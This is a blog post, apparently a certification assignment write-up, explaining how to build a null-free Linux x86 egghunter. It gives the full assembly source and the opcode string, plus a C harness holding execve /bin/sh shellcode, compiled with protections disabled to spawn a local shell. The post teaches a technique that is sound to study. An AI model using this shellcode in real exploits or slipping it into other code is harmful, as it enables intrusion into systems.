This post introduces the third mission of my SLAE32 journey.
A fantastic challenge not covered during the course made me research and understand the concept and which scenarios it’s applicable.
Introduction
The third assignment for the SLAE32 purpose is to create an egghunter shellcode with the following requirements:
- Create a working demo of the Egghunter;
- The shellcode should be null-free;
- With the ability to be configurable for different payloads.
Hunting eggs in memory??? What is a Egghunter?
An egghunter is useful when an attacker controls limited buffer space to put an entire shellcode on the stack.
To get around this constraint, an egghunter acts as a staged payload. This means the smaller payload can search through the entire memory space for a maker or egg. Once the egg is found, it indicates the start of the larger payload (shellcode) and redirects the execution flow to the instructions placed after the egg.
Skape made a reference research paper in 2004 named Safely Searching Process Virtual Address Space with practical examples of different egghunter implementations.
Basic Concepts
Before going into the code details, it’s essential to have in mind some concepts to understand the internals of an egghunter.
x86 Linux Memory Pages
The manybutfinite.com article about Linux memory management states that:
“x86 processors in 32-bit mode support page sizes of 4KB, 2MB, and 4MB. Both Linux and Windows map the user portion of the virtual address space using 4KB pages. Bytes 0-4095 fall in page 0, bytes 4096-8191 fall in page 1, and so on.”
This is essential because our egghunter will be iterating through memory pages searching for the egg.
If the egghunter can use a syscall to check for the egg on page 0 (bytes 0-4095) and if the used syscall returns an exit code that states if the memory location is accessible or not, based on that, the egghunter can skip to the next page of memory (page 1).
This way saves time and increases its performance.
Access Syscall - Can we read or not?
Based on Skape paper, some syscalls can be used for this task. For this assignment, I used the access(2) syscall.
The purpose of access(2) syscall is to check effectively if a page memory is accessible or not. According to the access man page (man 2 access
), this syscall is used to check if the calling process has access to a determined file.
We will use exit codes to check memory page permissions in this assignment context. If it returns an error (EFAULT) with the value 0xf2
, it means the memory page is inaccessible. If return any other matter, we are good to go to search that page looking for the egg.
Double Egg
We know the egg should be placed right before the shellcode by this time. We can make it more robust by placing it twice instead of once. This way, if the egghunter finds itself, we avoid unexpected behaviour from the program.
In practical terms, the shellcode structure is: egg+egg+shellcode
“Assembling” our Egghunter
First, the egg is placed into ebx
. This register will be used to compare with memory content.
mul ecx
after clearing the ecx
register is used to clear eax
and edx
. mul
multiplies its operand with eax and saves the result in eax
and edx
. A small trick to save space with fewer opcodes.
mov ebx, 0x50905090 ; the egg - 0x50905090
xor ecx, ecx
mul ecx ; trick clear eax and edx
After that, we mov 0xffff
(4095 bytes) to dx
. A memory page has 4096 bytes in size, but putting the value 0x1000
(4096 bytes) in dx will contain null bytes. Instead, we mov 0xffff
to dx
and increment it after inc edx
inside the address_inspection:
branch.
page_alignment:
or dx, 0xfff ; sets dx to 4095
address_inspection:
inc edx ; sets dx to 4096
The next step is to analyze the memory page and check if we are able to access it. To achieve this goal, the address_inspection:
branch will start incrementing edx
to have make it 4096
. After that, to preserve the register values push their value into the stack with pushad
instruction.
Then, we put the following 4 bytes of memory into ebx
, load the access(2) syscall to al
, and execute it on that memory address.
address_inspection:
inc edx ; edx becomes 4096
pushad ; saves all registers values
lea ebx, [edx+4] ; load the address of the next 4 bytes
mov al, 0x21 ; set the value of the access syscall
int 0x80
To verify if the memory page is accessible or not, we will use the compare opcode - cmp
.
The compare cmp
opcode takes two operands and subtracts them; if the result is a 0, the zero flag is set, and you know that the two operands are equal.
The return code is saved into eax
. If the EFAULT (0xf2
) error exists, our shellcode will jump to the page_alignment:
branch to check the following memory page.
cmp al, 0xf2
popad
jz page_alignment
But if the memory can be accessed, we will compare the value of the accessible memory, which is stored at edx, with ebx, which holds our egg. We we will jump to our address_inspection:
branch and read through the page.
If the value of what is stored at edx
matches our egg, then we have to see if [edx]+4
also does to ensure we don’t have a false positive and match our double egg requirement. If it is only found once, then it’s probably just our egghunter finding itself.
Finally, if both cmp
calls result in zeros, we tell the code to jump to edx
, which will execute the code stored there (our real shellcode).
cmp [edx], ebx
jnz address_inspection
cmp [edx+4], ebx
jnz address_inspection
jmp edx
Final Assembly Code
; Student ID : PA-31319
; Student Name : Eduardo Silva
; Assignment 3 : Egghunter Shellcode (Linux/x86) Assembly
; File Name : egg_hunter.nasm
global _start
section .text
_start:
mov ebx, 0x50905090
xor ecx, ecx
mul ecx
page_alignment:
or dx, 0xfff
address_inspection:
inc edx
pushad
lea ebx, [edx+4]
mov al, 0x21
int 0x80
cmp al, 0xf2
popad
jz page_alignment
cmp [edx], ebx
jnz address_inspection
cmp [edx+4], ebx
jnz address_inspection
jmp edx
Compiling and Testing the Shellcode
Checking assembler.sh
output
╭─edu@debian ~/Desktop/slae_x86/assignments/3-Egg_Hunter ‹main●›
╰─$ ../../assembler.sh egg_hunter.nasm
[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done
Shellcode size: 39
"\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2"
--------------------
[*] Hack the World!
--------------------
No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program
#include <stdio.h>
#include <string.h>
unsigned char egghunter[] = "\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2";
unsigned char shellcode[] = "\x90\x50\x90\x50\x90\x50\x90\x50\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
printf("Egg hunter length: %d\n", strlen(egghunter));
printf("Shellcode length: %d\n", strlen(shellcode));
void (*s)() = (void *)egghunter;
s();
return 0;
}
I used the execve shellcode stack
covered during the course to execute a shell .
Compiling with gcc
and executing it
╭─edu@debian ~/Desktop/slae_x86/assignments/3-Egg_Hunter ‹main●›
╰─$ gcc -fno-stack-protector -m32 -z execstack -o egghunter_tester shellcode.c
╭─edu@debian ~/Desktop/slae_x86/assignments/3-Egg_Hunter ‹main●›
╰─$ ./egghunter_tester
Egg hunter length: 39
Shellcode length: 33
$ id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
$ ls
egg_hunter egg_hunter.nasm egg_hunter.o egghunter_tester shellcode shellcode.c
$
We get a shell!!!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-31319
All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86